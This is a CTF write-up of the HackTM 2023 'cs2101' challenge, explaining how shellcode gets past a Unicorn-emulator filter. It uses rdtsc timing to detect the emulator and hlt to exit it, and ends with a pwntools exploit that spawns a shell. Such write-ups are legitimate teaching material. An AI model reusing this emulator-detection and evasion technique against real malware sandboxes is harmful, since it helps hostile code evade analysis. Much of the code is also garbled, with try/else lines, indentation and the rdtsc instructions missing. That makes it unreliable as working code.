[HackTM finals 2023 - pwn] cs2101


cs2101 is shellcoding / unicorn sandbox escape challenge I did during the HackTM finals.

What we have

The challenge is splitted into three file: the server, the unicorn callback based checker and the final C program that runs the shellcode without any restrictions. Let’s take a look at the server:

#!/usr/bin/env python3

import os
import sys
import base64
import tempfile
from sc_filter import emulate

def main():
    encoded = input("Enter your base64 encoded shellcode:\n")
    encoded+= '======='
        shellcode = base64.b64decode(encoded)
        print("Error decoding your base64")

    if not emulate(shellcode):
        print("I'm not letting you hack me again!")

    with tempfile.NamedTemporaryFile() as f:

        name = f.name
        os.system("./emulate {}".format(name))

if __name__ == '__main__':

The server is asking for a shellcode encoded in base64, then it is checking some behaviours of the shellcode by running it into unicorn through the emulate function and if it does not fail the shellcode is run by the emulate C program. Now let’s take a quick look at the unicorn checker:

#!/usr/bin/env python3

from unicorn import *
from unicorn.x86_const import *

# memory address where emulation starts
ADDRESS = 0x1000000

def main():
    with open("sc.bin", "rb") as f:
        code = f.read()

    if emulate(code):
        print("Done emulating. Passed!")
        print("Done emulating. Failed!")

def emulate(code):
        # Initialize emulator in X86-64bit mode
        mu = Uc(UC_ARCH_X86, UC_MODE_64)

        # map memory
        mu.mem_map(ADDRESS, 0x1000)

        # shellcode to test
        mu.mem_write(ADDRESS, code)

        # initialize machine registers
        mu.reg_write(UC_X86_REG_RAX, ADDRESS)
        mu.reg_write(UC_X86_REG_RFLAGS, 0x246)

        # initialize hooks
        allowed = [True]
        mu.hook_add(UC_HOOK_INSN, syscall_hook, allowed, 1, 0, UC_X86_INS_SYSCALL)
        mu.hook_add(UC_HOOK_CODE, code_hook, allowed)

        # emulate code in infinite time & unlimited instructions
        mu.emu_start(ADDRESS, ADDRESS + len(code))

        return allowed[0]

    except UcError as e:
        print("ERROR: %s" % e)

def syscall_hook(mu, user_data):
    # Syscalls are dangerous!
    print("not allowed to use syscalls")
    user_data[0] = False

def code_hook(mu, address, size, user_data):
    inst = mu.mem_read(address, size)

    # CPUID (No easy wins here!)
    if inst == b'\x0f\xa2':
        user_data[0] = False

if __name__ == '__main__':

To succeed the check in the server our shellcode should match several conditions: first there should not be any syscalls / cpuid instructions, then it should exit (and return allowed[0] === true) without triggering an exception not handled by unicorn (for example SIGSEGV or an interrupt not handled like int 0x80. And if it does so the shellcode is ran by this program:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define ADDRESS ((void*)0x1000000)

/* gcc emulate.c -o emulate -masm=intel */

int main(int argc, char **argv) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <filename>\n", argv[0]);

    void *code = mmap(ADDRESS, 0x1000,
                      PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (code == MAP_FAILED) {

    char *filename = argv[1];
    int fd = open(filename, O_RDONLY);
    if (fd == -1) {

    read(fd, code, 0x1000);

    __asm__ volatile (
        "lea rcx, [rsp-0x1800]\n\t"
        "fxrstor [rcx]\n\t"
        "xor rbx, rbx\n\t"
        "xor rcx, rcx\n\t"
        "xor rdx, rdx\n\t"
        "xor rdi, rdi\n\t"
        "xor rsi, rsi\n\t"
        "xor rbp, rbp\n\t"
        "xor rsp, rsp\n\t"
        "xor r8, r8\n\t"
        "xor r9, r9\n\t"
        "xor r10, r10\n\t"
        "xor r11, r11\n\t"
        "xor r12, r12\n\t"
        "xor r13, r13\n\t"
        "xor r14, r14\n\t"
        "xor r15, r15\n\t"
        "jmp rax\n\t"
        : "a" (code)

If we succeed to run the shellcode within this program we could easily execute syscalls and then drop a shell.

Bypass the sandbox

The first step is to make our shellcode aware of the environment inside which it is running. A classic trick to achieve this is to use the rdtsc instruction (technical spec here). According to the documentation, it:

Reads the current value of the processor’s time-stamp counter (a 64-bit MSR) into the EDX:EAX registers. The EDX register is loaded with the high-order 32 bits of the MSR and the EAX register is loaded with the low-order 32 bits. (On processors that support the Intel 64 architecture, the high-order 32 bits of each of RAX and RDX are cleared.)

Given within a debugger / emulator (depends on what is hooked actually, in an emulator it could be easily handled) the time between the execution of two instructions is very long we could check that the shellcode is ran casually by the C program without being hooked at each instruction (as it is the case in the unicorn sandbox) just by checking that the amount of time between two instructions is way shorter than in the sandbox. This way we can trigger a different code path in the shellcode according to the environment inside which it is run.

The second step is about being able to leave the sandbox without any syscalls with a handled exception that will not throw an error. By reading the unicorn source code for a while I saw a comment that talked about the hlt instruction, then I tried to use it to shutdown the shellcode when it is run by the sandbox and it worked pretty good.


Putting it all together we manage to get the flag:

[root@(none) chal]# nc 10000
Enter your base64 encoded shellcode:
uid=1000(user) gid=1000(user) groups=1000(user)
cat flag.txt

Final exploit

Final epxloit:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = "emulate"
LIBC = "/usr/lib/libc.so.6"
LD = "/lib64/ld-linux-x86-64.so.2"

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or ''
port = int(pwn.args.PORT or 1337)

FILENAME = "shellcode"

def local(argv=["shellcode"], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
        return pwn.process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
        return remote(argv, *a, **kw)

gdbscript = '''

import base64

def exp():
    f = open("shellcode", "wb")

    shellcode = pwn.asm( 
        "mov r8, rax\n"
        "shl rdx, 32\n"
        "or r8, rdx\n"
        "mov r9, rax\n"
        "shl rdx, 32\n"
        "or r9, rdx\n"
        "sub r9, r8\n"
        "cmp r9, 0x100\n"
        "jg sandbox\n"
        "mov rax, 0x100006a\n"
        "jmp rax\n"


    map_stack = pwn.asm("mov rsp, 0x1000000\n")
    map_stack += pwn.asm("add rsp, 0x500\n")
    shell = pwn.asm(pwn.shellcraft.amd64.linux.sh())

    print(shellcode + map_stack + shell)
    print(base64.b64encode(shellcode + map_stack + shell))
    f.write(shellcode + map_stack + shell)

if __name__ == "__main__":